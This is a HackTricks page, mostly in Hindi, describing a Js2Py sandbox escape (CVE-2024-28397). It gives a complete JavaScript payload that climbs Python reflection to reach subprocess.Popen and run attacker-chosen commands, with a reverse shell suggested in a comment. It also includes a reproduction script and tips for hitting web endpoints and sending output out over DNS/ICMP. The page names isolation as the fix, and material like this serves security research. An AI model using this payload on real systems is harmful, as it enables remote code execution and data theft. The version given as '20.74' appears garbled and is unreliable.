Js2Py sandbox escape (CVE-2024-28397)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Js2Py JavaScript को Python objects में translate करता है, इसलिए भले ही js2py.disable_pyimport() का उपयोग किया गया हो, untrusted JS Python internals को ट्रैवर्स करके subprocess.Popen जैसे खतरनाक classes तक पहुँच सकती है। Versions 20.74 में Js2Py द्वारा JS objects को expose किए गए Python reflection primitives का दुरुपयोग करके otherwise “sandboxed” JavaScript से RCE प्राप्त किया जा सकता है।

Primitive: pivot from JS object wrappers to Python objects

  1. Get a Python-backed object: Object.getOwnPropertyNames({}) returns a dict_keys object in Python space.
  2. Recover attribute access: उस ऑब्जेक्ट से .__getattribute__ लें और इसे कॉल करके मनमाने attributes पढ़ें (उदा., "__class__").
  3. Climb to object: <class 'dict_keys'> से .__base__ पढ़कर Python के base object तक पहुँचें।
  4. Enumerate loaded classes: object.__subclasses__() कॉल करके interpreter में पहले से लोड किए गए हर class को ट्रैवर्स करें।
  5. Find subprocess.Popen: उन subclasses में recursively खोजें जहाँ __module__ == "subprocess" और __name__ == "Popen"
  6. Execute a command: Popen की instance बनाएं हमलावर-नियंत्रित arguments के साथ और आउटपुट पकड़ने के लिए .communicate() invoke करें।
उदाहरण payload abusing Js2Py to reach subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

यह इसलिए काम करता है: Js2Py Python object wrappers को JS के लिए expose करता है बिना `__getattribute__`, `__class__`, `__base__`, या `__subclasses__` को हटाए। `disable_pyimport()` केवल explicit `pyimport` को ब्लॉक करता है, लेकिन ऊपर दिया गया chain कभी भी नया कुछ import नहीं करता; यह पहले से लोड किए गए modules और classes को मेमोरी में फिर से उपयोग करता है।

## स्थानीय रूप से श्रृंखला को पुनरुत्पादित करना
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Operating against web sandboxes

  • कोई भी endpoint जो attacker-controlled JS को js2py.eval_js में फ़ीड करता है (उदाहरण के लिए, एक Flask /run_code API) तुरंत RCE है अगर process user के पास shell access हो।
  • जब .communicate() bytes लौटाता है तो jsonify({'result': result}) विफल होगा; serialization blockers से बचने के लिए decode करें या आउटपुट को DNS/ICMP पर भेजें।
  • disable_pyimport() does not mitigate this chain; hard isolation (separate process/container) या untrusted code का Js2Py में execution हटाना आवश्यक है।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें